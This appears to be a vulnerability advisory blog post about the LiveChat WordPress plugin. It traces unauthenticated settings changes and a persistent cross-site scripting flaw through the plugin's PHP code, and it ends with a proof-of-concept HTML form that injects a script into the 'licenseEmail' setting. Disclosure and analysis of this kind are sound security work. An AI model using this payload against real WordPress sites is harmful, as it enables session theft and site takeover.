WordPress Plugins Are So Insecure You Can Claim the Wrong Plugin is Insecure and Still Be Right
One of the ways we keep track of publicly known vulnerabilities in WordPress plugins for our service, so that our customers are kept aware if any of the ones they use are impacted is by monitoring the WordPress Support Forum for topics related to that. Yesterday that brought to our attention a one-star review of the plugin LiveChat with the subject “Compromised security” (which was subsequently deleted, but is archived here) that reads as follows:
If I could rate this a 0 I would. Had been using this with no issues till about a month or so ago. Then I started getting this random redirect on my website, and each time it redirected it would also add in a new admin in the users with FULL ACCESS. Took quite a while to figure out it was this plugin.
I made contact with the developer who did say there was an exploit recently. What annoys me is they had no intention of telling users this left my website exposed and open to a potential hack.
Nick advised to leave the plugin disabled after I said had deleted the whole thing. And that I would be notified when the exploit was fixed. So far nothing. I paid for this app and Im not happy that not only was there a major exploit but they had no intention of telling users.
Dont use this plugin unless you want you site open to exploits. Go use TAWK, so far thiers app has performed well and it was free!
That sounded like it related to a different plugin WP Live Chat Support, which had a vulnerability in that was recently exploited, though after we had warned user of our service if they were impacted.
Looking over the forum for the LiveChat the most recent topic is “WordPress Removed The Plugin?“, which starts this way:
Hi,
I’ve received an email from WordPress.com explaining that they’ve removed your plugin as it contained malware. I’ve checked my site this morning, and the email is correct – they ave deleted your plugin from my site as a security precaution.Could you let me know what’s happened please? The chat facility is so useful, but I don’t want to put my users at risk.
Could you also confirm that I won’t be charged whilst WordPress have removed the plugin from the site?
Thanks
The response from the developer was:
Unfortunately, we can’t help you here. The issue is likely with WP Live Chat Support (not LiveChat), and you should contact their support for clarification on what the next steps should be. ^DZ
For some unexplained reason that topic was closed.
While it seems like this claims were related to that other plugin, we decided to do a quick check over the plugin to make sure there wasn’t really an issue with it and found that the plugin contains a vulnerability that hackers might be interested in exploiting as well.
In the plugin’s main file the function is_admin() is used to determine between loading two different classes:
13 14 15 16 17 18 19 20 21 22 | if (is_admin()) { require_once(dirname(__FILE__).'/plugin_files/LiveChatAdmin.class.php'); LiveChatAdmin::get_instance(); } else { require_once(dirname(__FILE__).'/plugin_files/LiveChat.class.php'); LiveChat::get_instance(); } |
It appears that is_admin() is being used as intended there, as it looks like the code is simply checking to see if an admin page or a frontend page is being loaded.
The problem comes when in the __construct() function for the admin class this code is run:
69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 | if (array_key_exists('reset', $_GET) && $_GET['reset'] == '1' && $_GET['page'] === 'livechat_settings') { $this->reset_options(); } else if (( array_key_exists('REQUEST_METHOD', $_SERVER) && $_SERVER['REQUEST_METHOD'] === 'POST' && array_key_exists('HTTP_REFERER', $_SERVER) && strpos($_SERVER['HTTP_REFERER'], 'livechat_settings') !== false ) || ( !array_key_exists('HTTP_REFERER', $_SERVER) && array_key_exists('REQUEST_METHOD', $_SERVER) && $_SERVER['REQUEST_METHOD'] === 'POST' )) { echo $this->update_options($_POST); } |
That code will allow either resetting or updating the plugin’s settings.
No security checks are done before resetting the plugin’s settings, so even those not logged in to WordPress can do that.
One security check appears to be done when updating the plugin’s settings, which is to check if the referer contains “livechat_settings”, but the referer is controlled by the requester, so it provides no protection.
The rest of the code that handles updating the settings is handled by the function update_options(), which is passed user input, in the form of POST input, from the previously shown code. That function first checks if the POST inputs “licenseEmail” and “licenseNumber” exist:
347 348 349 350 | protected function update_options($data) { if (!isset($data['licenseEmail']) || !isset($data['licenseNumber'])) { |
If they do, then those will be used to update the plugin’s settings:
368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 | } else { $license_number = isset($data['licenseNumber']) ? (int) $data['licenseNumber'] : 0; $email = isset($data['licenseEmail']) ? (string) $data['licenseEmail'] : ''; update_option('livechat_license_number', $license_number); update_option('livechat_email', $email); update_option('livechat_review_notice_start_timestamp', time()); update_option('livechat_review_notice_start_timestamp_offset', 45); update_option('livechat_disable_mobile', 0); update_option('livechat_disable_guests', 0); if (isset($data['changes_saved']) && $data['changes_saved'] == '1') { $this->changes_saved = true; } } } |
One of them, “licenseNumber” is sanitized by restricting the value to an integer, but the other,”licenseEmail”, is not. WordPress provides a sanitization function for email addresses, sanitize_email().
That saved value of the relevant setting is returned when calling the function:
91 92 93 94 95 96 97 98 99 | public function get_login() { if (is_null($this->login)) { $this->login = get_option('livechat_email'); } return $this->login; } |
It isn’t escaped there or when output on the plugin’s admin page:
10 | $license_email = LiveChat::get_instance()->get_login(); |
45 | <strong><?php echo $license_email ?></strong><br> |
That all together leads to a persistent cross-site scripting (XSS) vulnerability.
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will cause an alert box with any available cookies to be shown on plugin’s setting page, /wp-admin/admin.php?page=livechat_settings when the referer of the request includes “livechat_settings”.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-post.php" method="POST"> <input type="hidden" name="licenseNumber" value="1"> <input type="hidden" name="licenseEmail" value='"><script>alert(document.cookie);</script>'> <input type="submit" value="Submit" /> </form> </body> </html>
Hello guys! Thanks for making the research. We had fixed that vulnerability and know we are using nonces as WP team recommends. Next time feel free to reach us via chat or write to us on support@livechatinc.com 🙂
If you read the post the reason we didn’t contact you directly was due to the inappropriate behavior of the WordPress team, so if they would simply stop acting that way we would go back to contacting developers directly.